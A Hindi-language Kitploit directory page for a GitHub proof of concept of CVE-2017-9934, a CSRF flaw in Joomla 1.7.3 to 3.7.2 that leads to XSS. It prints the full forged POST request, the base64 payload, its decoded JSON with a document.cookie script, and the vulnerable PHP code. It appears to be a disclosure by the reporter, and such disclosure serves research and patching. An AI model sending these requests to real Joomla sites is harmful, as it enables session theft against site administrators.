Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2017-9934 — Joomla 1.7.3 - 3.7.2 CSRF एक्सप्लॉइट PoC | Kitploit
उपकरण/GitHubGitHub/xyringe/cve-2017-9934
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubxyringe/cve-2017-9934

CVE-2017-9934

Joomla 1.7.3 - 3.7.2 CSRF एक्सप्लॉइट PoC

रिपॉजिटरी देखें
8 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2017-9934 (मैं इस एक्सप्लॉइट का रिपोर्टर हूं, नाम: Envo से)

Joomla 1.7.3 - 3.7.2 CSRF एक्सप्लॉइट PoC

यह कमजोरी Joomla संस्करणों 1.7.3 से 3.7.2 में base64 इनपुट को सैनिटाइज़ न करने के कारण काम करती है।

#Headers:

root@kitploit:~
POST http://localhost/joomla/administrator/index.php?option=com_menus&view=item&client_id=0&layout=edit&id=0 HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 566
Cookie: 3139abcd402999f=ta0bmfak9faak44p4; joomla_user_state=logged_in; 8c7ff64bf1d0e216ccd4dd8c1e9745a3=4ebun9a72bolept9769d1tghu5; f8e2a3a5e2367dd628addf598dc92792=mc5g9gc7khdsa15jhijjaifrh1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: localhost

jform%5Bparams%5D%5Bmenu_show%5D=1&jform%5Bparams%5D%5Bmenu_text%5D=1&jform%5Bparams%5D%5Bsecure%5D=0&jform%5Btype%5D=eyJpZCI6MCwidGl0bGUiOiJjb21wb25lbnQiLCJyZXF1ZXN0Ijp7Im9wdGlvbiI6ImNvbV9mb288c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4ifX0%3D&jform%5Btemplate_style_id%5D=0&jform%5BbrowserNav%5D=0&jform%5Bid%5D=0&jform%5Bmenutype%5D=mainmenu&jform%5Bparent_id%5D=1&jform%5Bpublished%5D=1&jform%5Bhome%5D=0&jform%5Baccess%5D=1&jform%5Blanguage%5D=*&jform%5Btoggle_modules_assigned%5D=1&jform%5Btoggle_modules_published%5D=1&task=item.setType&fieldtype=type

उपरोक्त अनुरोध में 'task' पैरामीटर /administrator/components/com_menus/controllers/item.php में कंट्रोलर फ़ंक्शन setType() को ट्रिगर करता है, जिसे CSRF टोकन की आवश्यकता नहीं होती है। यह फ़ंक्शन दूसरे पैरामीटर ('jform[type]') में base64 इनपुट लेता है और बिना सैनिटाइज़ेशन के इसे JSON डेटा में डिकोड करता है। यदि हम JSON को इस प्रकार बनाते हैं:

#Base64:

root@kitploit:~
eyJpZCI6MCwidGl0bGUiOiJjb21wb25lbnQiLCJyZXF1ZXN0Ijp7Im9wdGlvbiI6ImNvbV9mb288c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4ifX0=

#JSON:

root@kitploit:~
{"id":0,"title":"component","request":{"option":"com_foo<script>alert(document.cookie)</script>"}}

हम /libraries/cms/component/helper.php में load() फ़ंक्शन में एक त्रुटि उत्पन्न कर सकते हैं। $option वेरिएबल में हमारा पेलोड होता है जो सैनिटाइज़ेशन के बिना स्क्रीन पर प्रिंट होता है, जिसके परिणामस्वरूप XSS होता है:

root@kitploit:~

if (JFactory::$language)
{
    $msg = JText::sprintf('JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING', $option, JText::_('JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND'));
}
else
{
    $msg = sprintf('Error loading component: %1$s, %2$s', $option, 'Component not found.');
}

स्रोत:

root@kitploit:~
Rendered:

<h4 class="alert-heading">Warning</h4>
   <div class="alert-message">Error loading component: com_foo<script>alert(document.cookie)</script>, Component not found.</div>

HTML पेज PoC इस रिपॉजिटरी में दिया गया है।

टूल डाउनलोड करें